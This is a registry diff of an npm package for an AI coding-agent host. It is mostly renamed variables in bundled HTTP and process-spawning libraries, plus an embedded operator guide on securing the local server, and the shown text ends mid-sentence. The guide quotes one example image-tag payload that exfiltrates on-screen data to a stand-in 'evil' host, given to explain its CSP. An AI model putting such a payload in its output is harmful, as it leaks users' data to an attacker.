@chosengeneration/light-code 0.35.0 → 0.39.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +1394 -293
- package/dist/client/client.js +63 -63
- package/dist/client/guide/appearance-dark.svg +1 -1
- package/dist/client/guide/appearance-light.svg +1 -1
- package/dist/client/guide/approvals-dark.svg +1 -1
- package/dist/client/guide/approvals-light.svg +1 -1
- package/dist/client/guide/customData-dark.svg +1 -0
- package/dist/client/guide/customData-light.svg +1 -0
- package/dist/client/guide/expert-dark.svg +1 -1
- package/dist/client/guide/expert-light.svg +1 -1
- package/dist/client/guide/mcp-dark.svg +1 -1
- package/dist/client/guide/mcp-light.svg +1 -1
- package/dist/client/guide/network-dark.svg +1 -1
- package/dist/client/guide/network-light.svg +1 -1
- package/dist/client/guide/providers-dark.svg +1 -1
- package/dist/client/guide/providers-light.svg +1 -1
- package/dist/client/guide/python-dark.svg +1 -1
- package/dist/client/guide/python-light.svg +1 -1
- package/dist/client/guide/schedules-dark.svg +1 -1
- package/dist/client/guide/schedules-light.svg +1 -1
- package/dist/client/guide/search-dark.svg +1 -1
- package/dist/client/guide/search-light.svg +1 -1
- package/dist/client/guide/skills-dark.svg +1 -1
- package/dist/client/guide/skills-light.svg +1 -1
- package/dist/client/guide/tools-dark.svg +1 -1
- package/dist/client/guide/tools-light.svg +1 -1
- package/dist/server.js +1318 -273
- package/package.json +1 -1
package/dist/cli.js
CHANGED
|
@@ -500,14 +500,14 @@ var require_util = __commonJS({
|
|
|
500
500
|
}
|
|
501
501
|
const port = url2.port != null ? url2.port : url2.protocol === "https:" ? 443 : 80;
|
|
502
502
|
let origin = url2.origin != null ? url2.origin : `${url2.protocol}//${url2.hostname}:${port}`;
|
|
503
|
-
let
|
|
503
|
+
let path34 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
|
|
504
504
|
if (origin.endsWith("/")) {
|
|
505
505
|
origin = origin.substring(0, origin.length - 1);
|
|
506
506
|
}
|
|
507
|
-
if (
|
|
508
|
-
|
|
507
|
+
if (path34 && !path34.startsWith("/")) {
|
|
508
|
+
path34 = `/${path34}`;
|
|
509
509
|
}
|
|
510
|
-
url2 = new URL(origin +
|
|
510
|
+
url2 = new URL(origin + path34);
|
|
511
511
|
}
|
|
512
512
|
return url2;
|
|
513
513
|
}
|
|
@@ -2121,20 +2121,20 @@ var require_parseParams = __commonJS({
|
|
|
2121
2121
|
var require_basename = __commonJS({
|
|
2122
2122
|
"../../node_modules/.pnpm/@fastify+busboy@2.1.1/node_modules/@fastify/busboy/lib/utils/basename.js"(exports, module) {
|
|
2123
2123
|
"use strict";
|
|
2124
|
-
module.exports = function basename(
|
|
2125
|
-
if (typeof
|
|
2124
|
+
module.exports = function basename(path34) {
|
|
2125
|
+
if (typeof path34 !== "string") {
|
|
2126
2126
|
return "";
|
|
2127
2127
|
}
|
|
2128
|
-
for (var i =
|
|
2129
|
-
switch (
|
|
2128
|
+
for (var i = path34.length - 1; i >= 0; --i) {
|
|
2129
|
+
switch (path34.charCodeAt(i)) {
|
|
2130
2130
|
case 47:
|
|
2131
2131
|
// '/'
|
|
2132
2132
|
case 92:
|
|
2133
|
-
|
|
2134
|
-
return
|
|
2133
|
+
path34 = path34.slice(i + 1);
|
|
2134
|
+
return path34 === ".." || path34 === "." ? "" : path34;
|
|
2135
2135
|
}
|
|
2136
2136
|
}
|
|
2137
|
-
return
|
|
2137
|
+
return path34 === ".." || path34 === "." ? "" : path34;
|
|
2138
2138
|
};
|
|
2139
2139
|
}
|
|
2140
2140
|
});
|
|
@@ -5164,7 +5164,7 @@ var require_request = __commonJS({
|
|
|
5164
5164
|
}
|
|
5165
5165
|
var Request = class _Request {
|
|
5166
5166
|
constructor(origin, {
|
|
5167
|
-
path:
|
|
5167
|
+
path: path34,
|
|
5168
5168
|
method,
|
|
5169
5169
|
body,
|
|
5170
5170
|
headers,
|
|
@@ -5178,11 +5178,11 @@ var require_request = __commonJS({
|
|
|
5178
5178
|
throwOnError,
|
|
5179
5179
|
expectContinue
|
|
5180
5180
|
}, handler) {
|
|
5181
|
-
if (typeof
|
|
5181
|
+
if (typeof path34 !== "string") {
|
|
5182
5182
|
throw new InvalidArgumentError("path must be a string");
|
|
5183
|
-
} else if (
|
|
5183
|
+
} else if (path34[0] !== "/" && !(path34.startsWith("http://") || path34.startsWith("https://")) && method !== "CONNECT") {
|
|
5184
5184
|
throw new InvalidArgumentError("path must be an absolute URL or start with a slash");
|
|
5185
|
-
} else if (invalidPathRegex.exec(
|
|
5185
|
+
} else if (invalidPathRegex.exec(path34) !== null) {
|
|
5186
5186
|
throw new InvalidArgumentError("invalid request path");
|
|
5187
5187
|
}
|
|
5188
5188
|
if (typeof method !== "string") {
|
|
@@ -5245,7 +5245,7 @@ var require_request = __commonJS({
|
|
|
5245
5245
|
this.completed = false;
|
|
5246
5246
|
this.aborted = false;
|
|
5247
5247
|
this.upgrade = upgrade || null;
|
|
5248
|
-
this.path = query ? util.buildURL(
|
|
5248
|
+
this.path = query ? util.buildURL(path34, query) : path34;
|
|
5249
5249
|
this.origin = origin;
|
|
5250
5250
|
this.idempotent = idempotent == null ? method === "HEAD" || method === "GET" : idempotent;
|
|
5251
5251
|
this.blocking = blocking == null ? false : blocking;
|
|
@@ -6253,9 +6253,9 @@ var require_RedirectHandler = __commonJS({
|
|
|
6253
6253
|
return this.handler.onHeaders(statusCode, headers, resume, statusText);
|
|
6254
6254
|
}
|
|
6255
6255
|
const { origin, pathname, search } = util.parseURL(new URL(this.location, this.opts.origin && new URL(this.opts.path, this.opts.origin)));
|
|
6256
|
-
const
|
|
6256
|
+
const path34 = search ? `${pathname}${search}` : pathname;
|
|
6257
6257
|
this.opts.headers = cleanRequestHeaders(this.opts.headers, statusCode === 303, this.opts.origin !== origin);
|
|
6258
|
-
this.opts.path =
|
|
6258
|
+
this.opts.path = path34;
|
|
6259
6259
|
this.opts.origin = origin;
|
|
6260
6260
|
this.opts.maxRedirections = 0;
|
|
6261
6261
|
this.opts.query = null;
|
|
@@ -7495,7 +7495,7 @@ var require_client = __commonJS({
|
|
|
7495
7495
|
writeH2(client, client[kHTTP2Session], request);
|
|
7496
7496
|
return;
|
|
7497
7497
|
}
|
|
7498
|
-
const { body, method, path:
|
|
7498
|
+
const { body, method, path: path34, host, upgrade, headers, blocking, reset } = request;
|
|
7499
7499
|
const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH";
|
|
7500
7500
|
if (body && typeof body.read === "function") {
|
|
7501
7501
|
body.read(0);
|
|
@@ -7545,7 +7545,7 @@ var require_client = __commonJS({
|
|
|
7545
7545
|
if (blocking) {
|
|
7546
7546
|
socket[kBlocking] = true;
|
|
7547
7547
|
}
|
|
7548
|
-
let header = `${method} ${
|
|
7548
|
+
let header = `${method} ${path34} HTTP/1.1\r
|
|
7549
7549
|
`;
|
|
7550
7550
|
if (typeof host === "string") {
|
|
7551
7551
|
header += `host: ${host}\r
|
|
@@ -7608,7 +7608,7 @@ upgrade: ${upgrade}\r
|
|
|
7608
7608
|
return true;
|
|
7609
7609
|
}
|
|
7610
7610
|
function writeH2(client, session, request) {
|
|
7611
|
-
const { body, method, path:
|
|
7611
|
+
const { body, method, path: path34, host, upgrade, expectContinue, signal, headers: reqHeaders } = request;
|
|
7612
7612
|
let headers;
|
|
7613
7613
|
if (typeof reqHeaders === "string") headers = Request[kHTTP2CopyHeaders](reqHeaders.trim());
|
|
7614
7614
|
else headers = reqHeaders;
|
|
@@ -7651,7 +7651,7 @@ upgrade: ${upgrade}\r
|
|
|
7651
7651
|
});
|
|
7652
7652
|
return true;
|
|
7653
7653
|
}
|
|
7654
|
-
headers[HTTP2_HEADER_PATH] =
|
|
7654
|
+
headers[HTTP2_HEADER_PATH] = path34;
|
|
7655
7655
|
headers[HTTP2_HEADER_SCHEME] = "https";
|
|
7656
7656
|
const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH";
|
|
7657
7657
|
if (body && typeof body.read === "function") {
|
|
@@ -9891,20 +9891,20 @@ var require_mock_utils = __commonJS({
|
|
|
9891
9891
|
}
|
|
9892
9892
|
return true;
|
|
9893
9893
|
}
|
|
9894
|
-
function safeUrl(
|
|
9895
|
-
if (typeof
|
|
9896
|
-
return
|
|
9894
|
+
function safeUrl(path34) {
|
|
9895
|
+
if (typeof path34 !== "string") {
|
|
9896
|
+
return path34;
|
|
9897
9897
|
}
|
|
9898
|
-
const pathSegments =
|
|
9898
|
+
const pathSegments = path34.split("?");
|
|
9899
9899
|
if (pathSegments.length !== 2) {
|
|
9900
|
-
return
|
|
9900
|
+
return path34;
|
|
9901
9901
|
}
|
|
9902
9902
|
const qp = new URLSearchParams(pathSegments.pop());
|
|
9903
9903
|
qp.sort();
|
|
9904
9904
|
return [...pathSegments, qp.toString()].join("?");
|
|
9905
9905
|
}
|
|
9906
|
-
function matchKey(mockDispatch2, { path:
|
|
9907
|
-
const pathMatch = matchValue(mockDispatch2.path,
|
|
9906
|
+
function matchKey(mockDispatch2, { path: path34, method, body, headers }) {
|
|
9907
|
+
const pathMatch = matchValue(mockDispatch2.path, path34);
|
|
9908
9908
|
const methodMatch = matchValue(mockDispatch2.method, method);
|
|
9909
9909
|
const bodyMatch = typeof mockDispatch2.body !== "undefined" ? matchValue(mockDispatch2.body, body) : true;
|
|
9910
9910
|
const headersMatch = matchHeaders(mockDispatch2, headers);
|
|
@@ -9922,7 +9922,7 @@ var require_mock_utils = __commonJS({
|
|
|
9922
9922
|
function getMockDispatch(mockDispatches, key) {
|
|
9923
9923
|
const basePath = key.query ? buildURL(key.path, key.query) : key.path;
|
|
9924
9924
|
const resolvedPath = typeof basePath === "string" ? safeUrl(basePath) : basePath;
|
|
9925
|
-
let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path:
|
|
9925
|
+
let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path34 }) => matchValue(safeUrl(path34), resolvedPath));
|
|
9926
9926
|
if (matchedMockDispatches.length === 0) {
|
|
9927
9927
|
throw new MockNotMatchedError(`Mock dispatch not matched for path '${resolvedPath}'`);
|
|
9928
9928
|
}
|
|
@@ -9959,9 +9959,9 @@ var require_mock_utils = __commonJS({
|
|
|
9959
9959
|
}
|
|
9960
9960
|
}
|
|
9961
9961
|
function buildKey(opts) {
|
|
9962
|
-
const { path:
|
|
9962
|
+
const { path: path34, method, body, headers, query } = opts;
|
|
9963
9963
|
return {
|
|
9964
|
-
path:
|
|
9964
|
+
path: path34,
|
|
9965
9965
|
method,
|
|
9966
9966
|
body,
|
|
9967
9967
|
headers,
|
|
@@ -10410,10 +10410,10 @@ var require_pending_interceptors_formatter = __commonJS({
|
|
|
10410
10410
|
}
|
|
10411
10411
|
format(pendingInterceptors) {
|
|
10412
10412
|
const withPrettyHeaders = pendingInterceptors.map(
|
|
10413
|
-
({ method, path:
|
|
10413
|
+
({ method, path: path34, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
|
|
10414
10414
|
Method: method,
|
|
10415
10415
|
Origin: origin,
|
|
10416
|
-
Path:
|
|
10416
|
+
Path: path34,
|
|
10417
10417
|
"Status code": statusCode,
|
|
10418
10418
|
Persistent: persist ? "\u2705" : "\u274C",
|
|
10419
10419
|
Invocations: timesInvoked,
|
|
@@ -15033,8 +15033,8 @@ var require_util6 = __commonJS({
|
|
|
15033
15033
|
}
|
|
15034
15034
|
}
|
|
15035
15035
|
}
|
|
15036
|
-
function validateCookiePath(
|
|
15037
|
-
for (const char of
|
|
15036
|
+
function validateCookiePath(path34) {
|
|
15037
|
+
for (const char of path34) {
|
|
15038
15038
|
const code = char.charCodeAt(0);
|
|
15039
15039
|
if (code < 33 || char === ";") {
|
|
15040
15040
|
throw new Error("Invalid cookie path");
|
|
@@ -16714,11 +16714,11 @@ var require_undici = __commonJS({
|
|
|
16714
16714
|
if (typeof opts.path !== "string") {
|
|
16715
16715
|
throw new InvalidArgumentError("invalid opts.path");
|
|
16716
16716
|
}
|
|
16717
|
-
let
|
|
16717
|
+
let path34 = opts.path;
|
|
16718
16718
|
if (!opts.path.startsWith("/")) {
|
|
16719
|
-
|
|
16719
|
+
path34 = `/${path34}`;
|
|
16720
16720
|
}
|
|
16721
|
-
url2 = new URL(util.parseOrigin(url2).origin +
|
|
16721
|
+
url2 = new URL(util.parseOrigin(url2).origin + path34);
|
|
16722
16722
|
} else {
|
|
16723
16723
|
if (!opts) {
|
|
16724
16724
|
opts = typeof url2 === "object" ? url2 : {};
|
|
@@ -19989,8 +19989,8 @@ var require_utils2 = __commonJS({
|
|
|
19989
19989
|
}
|
|
19990
19990
|
return ind;
|
|
19991
19991
|
}
|
|
19992
|
-
function removeDotSegments(
|
|
19993
|
-
let input =
|
|
19992
|
+
function removeDotSegments(path34) {
|
|
19993
|
+
let input = path34;
|
|
19994
19994
|
const output = [];
|
|
19995
19995
|
let nextSlash = -1;
|
|
19996
19996
|
let len = 0;
|
|
@@ -20242,8 +20242,8 @@ var require_schemes = __commonJS({
|
|
|
20242
20242
|
wsComponent.secure = void 0;
|
|
20243
20243
|
}
|
|
20244
20244
|
if (wsComponent.resourceName) {
|
|
20245
|
-
const [
|
|
20246
|
-
wsComponent.path =
|
|
20245
|
+
const [path34, query] = wsComponent.resourceName.split("?");
|
|
20246
|
+
wsComponent.path = path34 && path34 !== "/" ? path34 : void 0;
|
|
20247
20247
|
wsComponent.query = query;
|
|
20248
20248
|
wsComponent.resourceName = void 0;
|
|
20249
20249
|
}
|
|
@@ -23642,12 +23642,12 @@ var require_dist = __commonJS({
|
|
|
23642
23642
|
throw new Error(`Unknown format "${name}"`);
|
|
23643
23643
|
return f;
|
|
23644
23644
|
};
|
|
23645
|
-
function addFormats(ajv, list,
|
|
23645
|
+
function addFormats(ajv, list, fs27, exportName) {
|
|
23646
23646
|
var _a3;
|
|
23647
23647
|
var _b;
|
|
23648
23648
|
(_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
|
|
23649
23649
|
for (const f of list)
|
|
23650
|
-
ajv.addFormat(f,
|
|
23650
|
+
ajv.addFormat(f, fs27[f]);
|
|
23651
23651
|
}
|
|
23652
23652
|
module.exports = exports = formatsPlugin;
|
|
23653
23653
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
@@ -23660,8 +23660,8 @@ var require_windows = __commonJS({
|
|
|
23660
23660
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
|
|
23661
23661
|
module.exports = isexe;
|
|
23662
23662
|
isexe.sync = sync;
|
|
23663
|
-
var
|
|
23664
|
-
function checkPathExt(
|
|
23663
|
+
var fs27 = __require("fs");
|
|
23664
|
+
function checkPathExt(path34, options) {
|
|
23665
23665
|
var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
|
|
23666
23666
|
if (!pathext) {
|
|
23667
23667
|
return true;
|
|
@@ -23672,25 +23672,25 @@ var require_windows = __commonJS({
|
|
|
23672
23672
|
}
|
|
23673
23673
|
for (var i = 0; i < pathext.length; i++) {
|
|
23674
23674
|
var p = pathext[i].toLowerCase();
|
|
23675
|
-
if (p &&
|
|
23675
|
+
if (p && path34.substr(-p.length).toLowerCase() === p) {
|
|
23676
23676
|
return true;
|
|
23677
23677
|
}
|
|
23678
23678
|
}
|
|
23679
23679
|
return false;
|
|
23680
23680
|
}
|
|
23681
|
-
function checkStat(stat,
|
|
23681
|
+
function checkStat(stat, path34, options) {
|
|
23682
23682
|
if (!stat.isSymbolicLink() && !stat.isFile()) {
|
|
23683
23683
|
return false;
|
|
23684
23684
|
}
|
|
23685
|
-
return checkPathExt(
|
|
23685
|
+
return checkPathExt(path34, options);
|
|
23686
23686
|
}
|
|
23687
|
-
function isexe(
|
|
23688
|
-
|
|
23689
|
-
cb(er, er ? false : checkStat(stat,
|
|
23687
|
+
function isexe(path34, options, cb) {
|
|
23688
|
+
fs27.stat(path34, function(er, stat) {
|
|
23689
|
+
cb(er, er ? false : checkStat(stat, path34, options));
|
|
23690
23690
|
});
|
|
23691
23691
|
}
|
|
23692
|
-
function sync(
|
|
23693
|
-
return checkStat(
|
|
23692
|
+
function sync(path34, options) {
|
|
23693
|
+
return checkStat(fs27.statSync(path34), path34, options);
|
|
23694
23694
|
}
|
|
23695
23695
|
}
|
|
23696
23696
|
});
|
|
@@ -23700,14 +23700,14 @@ var require_mode = __commonJS({
|
|
|
23700
23700
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
|
|
23701
23701
|
module.exports = isexe;
|
|
23702
23702
|
isexe.sync = sync;
|
|
23703
|
-
var
|
|
23704
|
-
function isexe(
|
|
23705
|
-
|
|
23703
|
+
var fs27 = __require("fs");
|
|
23704
|
+
function isexe(path34, options, cb) {
|
|
23705
|
+
fs27.stat(path34, function(er, stat) {
|
|
23706
23706
|
cb(er, er ? false : checkStat(stat, options));
|
|
23707
23707
|
});
|
|
23708
23708
|
}
|
|
23709
|
-
function sync(
|
|
23710
|
-
return checkStat(
|
|
23709
|
+
function sync(path34, options) {
|
|
23710
|
+
return checkStat(fs27.statSync(path34), options);
|
|
23711
23711
|
}
|
|
23712
23712
|
function checkStat(stat, options) {
|
|
23713
23713
|
return stat.isFile() && checkMode(stat, options);
|
|
@@ -23731,7 +23731,7 @@ var require_mode = __commonJS({
|
|
|
23731
23731
|
// ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
|
|
23732
23732
|
var require_isexe = __commonJS({
|
|
23733
23733
|
"../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
|
|
23734
|
-
var
|
|
23734
|
+
var fs27 = __require("fs");
|
|
23735
23735
|
var core;
|
|
23736
23736
|
if (process.platform === "win32" || global.TESTING_WINDOWS) {
|
|
23737
23737
|
core = require_windows();
|
|
@@ -23740,7 +23740,7 @@ var require_isexe = __commonJS({
|
|
|
23740
23740
|
}
|
|
23741
23741
|
module.exports = isexe;
|
|
23742
23742
|
isexe.sync = sync;
|
|
23743
|
-
function isexe(
|
|
23743
|
+
function isexe(path34, options, cb) {
|
|
23744
23744
|
if (typeof options === "function") {
|
|
23745
23745
|
cb = options;
|
|
23746
23746
|
options = {};
|
|
@@ -23750,7 +23750,7 @@ var require_isexe = __commonJS({
|
|
|
23750
23750
|
throw new TypeError("callback not provided");
|
|
23751
23751
|
}
|
|
23752
23752
|
return new Promise(function(resolve, reject2) {
|
|
23753
|
-
isexe(
|
|
23753
|
+
isexe(path34, options || {}, function(er, is) {
|
|
23754
23754
|
if (er) {
|
|
23755
23755
|
reject2(er);
|
|
23756
23756
|
} else {
|
|
@@ -23759,7 +23759,7 @@ var require_isexe = __commonJS({
|
|
|
23759
23759
|
});
|
|
23760
23760
|
});
|
|
23761
23761
|
}
|
|
23762
|
-
core(
|
|
23762
|
+
core(path34, options || {}, function(er, is) {
|
|
23763
23763
|
if (er) {
|
|
23764
23764
|
if (er.code === "EACCES" || options && options.ignoreErrors) {
|
|
23765
23765
|
er = null;
|
|
@@ -23769,9 +23769,9 @@ var require_isexe = __commonJS({
|
|
|
23769
23769
|
cb(er, is);
|
|
23770
23770
|
});
|
|
23771
23771
|
}
|
|
23772
|
-
function sync(
|
|
23772
|
+
function sync(path34, options) {
|
|
23773
23773
|
try {
|
|
23774
|
-
return core.sync(
|
|
23774
|
+
return core.sync(path34, options || {});
|
|
23775
23775
|
} catch (er) {
|
|
23776
23776
|
if (options && options.ignoreErrors || er.code === "EACCES") {
|
|
23777
23777
|
return false;
|
|
@@ -23787,7 +23787,7 @@ var require_isexe = __commonJS({
|
|
|
23787
23787
|
var require_which = __commonJS({
|
|
23788
23788
|
"../../node_modules/.pnpm/which@2.0.2/node_modules/which/which.js"(exports, module) {
|
|
23789
23789
|
var isWindows = process.platform === "win32" || process.env.OSTYPE === "cygwin" || process.env.OSTYPE === "msys";
|
|
23790
|
-
var
|
|
23790
|
+
var path34 = __require("path");
|
|
23791
23791
|
var COLON = isWindows ? ";" : ":";
|
|
23792
23792
|
var isexe = require_isexe();
|
|
23793
23793
|
var getNotFoundError = (cmd) => Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" });
|
|
@@ -23825,7 +23825,7 @@ var require_which = __commonJS({
|
|
|
23825
23825
|
return opt.all && found.length ? resolve(found) : reject2(getNotFoundError(cmd));
|
|
23826
23826
|
const ppRaw = pathEnv[i];
|
|
23827
23827
|
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
|
|
23828
|
-
const pCmd =
|
|
23828
|
+
const pCmd = path34.join(pathPart, cmd);
|
|
23829
23829
|
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
|
|
23830
23830
|
resolve(subStep(p, i, 0));
|
|
23831
23831
|
});
|
|
@@ -23852,7 +23852,7 @@ var require_which = __commonJS({
|
|
|
23852
23852
|
for (let i = 0; i < pathEnv.length; i++) {
|
|
23853
23853
|
const ppRaw = pathEnv[i];
|
|
23854
23854
|
const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
|
|
23855
|
-
const pCmd =
|
|
23855
|
+
const pCmd = path34.join(pathPart, cmd);
|
|
23856
23856
|
const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
|
|
23857
23857
|
for (let j = 0; j < pathExt.length; j++) {
|
|
23858
23858
|
const cur = p + pathExt[j];
|
|
@@ -23900,7 +23900,7 @@ var require_path_key = __commonJS({
|
|
|
23900
23900
|
var require_resolveCommand = __commonJS({
|
|
23901
23901
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) {
|
|
23902
23902
|
"use strict";
|
|
23903
|
-
var
|
|
23903
|
+
var path34 = __require("path");
|
|
23904
23904
|
var which = require_which();
|
|
23905
23905
|
var getPathKey = require_path_key();
|
|
23906
23906
|
function resolveCommandAttempt(parsed, withoutPathExt) {
|
|
@@ -23918,7 +23918,7 @@ var require_resolveCommand = __commonJS({
|
|
|
23918
23918
|
try {
|
|
23919
23919
|
resolved = which.sync(parsed.command, {
|
|
23920
23920
|
path: env2[getPathKey({ env: env2 })],
|
|
23921
|
-
pathExt: withoutPathExt ?
|
|
23921
|
+
pathExt: withoutPathExt ? path34.delimiter : void 0
|
|
23922
23922
|
});
|
|
23923
23923
|
} catch (e) {
|
|
23924
23924
|
} finally {
|
|
@@ -23927,7 +23927,7 @@ var require_resolveCommand = __commonJS({
|
|
|
23927
23927
|
}
|
|
23928
23928
|
}
|
|
23929
23929
|
if (resolved) {
|
|
23930
|
-
resolved =
|
|
23930
|
+
resolved = path34.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
|
|
23931
23931
|
}
|
|
23932
23932
|
return resolved;
|
|
23933
23933
|
}
|
|
@@ -23981,8 +23981,8 @@ var require_shebang_command = __commonJS({
|
|
|
23981
23981
|
if (!match) {
|
|
23982
23982
|
return null;
|
|
23983
23983
|
}
|
|
23984
|
-
const [
|
|
23985
|
-
const binary =
|
|
23984
|
+
const [path34, argument] = match[0].replace(/#! ?/, "").split(" ");
|
|
23985
|
+
const binary = path34.split("/").pop();
|
|
23986
23986
|
if (binary === "env") {
|
|
23987
23987
|
return argument;
|
|
23988
23988
|
}
|
|
@@ -23995,16 +23995,16 @@ var require_shebang_command = __commonJS({
|
|
|
23995
23995
|
var require_readShebang = __commonJS({
|
|
23996
23996
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
|
|
23997
23997
|
"use strict";
|
|
23998
|
-
var
|
|
23998
|
+
var fs27 = __require("fs");
|
|
23999
23999
|
var shebangCommand = require_shebang_command();
|
|
24000
24000
|
function readShebang(command) {
|
|
24001
24001
|
const size = 150;
|
|
24002
24002
|
const buffer = Buffer.alloc(size);
|
|
24003
24003
|
let fd;
|
|
24004
24004
|
try {
|
|
24005
|
-
fd =
|
|
24006
|
-
|
|
24007
|
-
|
|
24005
|
+
fd = fs27.openSync(command, "r");
|
|
24006
|
+
fs27.readSync(fd, buffer, 0, size, 0);
|
|
24007
|
+
fs27.closeSync(fd);
|
|
24008
24008
|
} catch (e) {
|
|
24009
24009
|
}
|
|
24010
24010
|
return shebangCommand(buffer.toString());
|
|
@@ -24017,7 +24017,7 @@ var require_readShebang = __commonJS({
|
|
|
24017
24017
|
var require_parse2 = __commonJS({
|
|
24018
24018
|
"../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/parse.js"(exports, module) {
|
|
24019
24019
|
"use strict";
|
|
24020
|
-
var
|
|
24020
|
+
var path34 = __require("path");
|
|
24021
24021
|
var resolveCommand = require_resolveCommand();
|
|
24022
24022
|
var escape2 = require_escape();
|
|
24023
24023
|
var readShebang = require_readShebang();
|
|
@@ -24042,7 +24042,7 @@ var require_parse2 = __commonJS({
|
|
|
24042
24042
|
const needsShell = !isExecutableRegExp.test(commandFile);
|
|
24043
24043
|
if (parsed.options.forceShell || needsShell) {
|
|
24044
24044
|
const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
|
|
24045
|
-
parsed.command =
|
|
24045
|
+
parsed.command = path34.normalize(parsed.command);
|
|
24046
24046
|
parsed.command = escape2.command(parsed.command);
|
|
24047
24047
|
parsed.args = parsed.args.map((arg) => escape2.argument(arg, needsDoubleEscapeMetaChars));
|
|
24048
24048
|
const shellCommand = [parsed.command].concat(parsed.args).join(" ");
|
|
@@ -24305,9 +24305,9 @@ function installNodeCompat() {
|
|
|
24305
24305
|
|
|
24306
24306
|
// src/cli.ts
|
|
24307
24307
|
import { spawn as spawn7 } from "node:child_process";
|
|
24308
|
-
import
|
|
24308
|
+
import fs26 from "node:fs/promises";
|
|
24309
24309
|
import os3 from "node:os";
|
|
24310
|
-
import
|
|
24310
|
+
import path33 from "node:path";
|
|
24311
24311
|
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
24312
24312
|
|
|
24313
24313
|
// ../../node_modules/.pnpm/env-paths@3.0.0/node_modules/env-paths/index.js
|
|
@@ -24550,7 +24550,7 @@ function refusalFor(messageType) {
|
|
|
24550
24550
|
}
|
|
24551
24551
|
|
|
24552
24552
|
// src/generated/operatorGuide.ts
|
|
24553
|
-
var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the 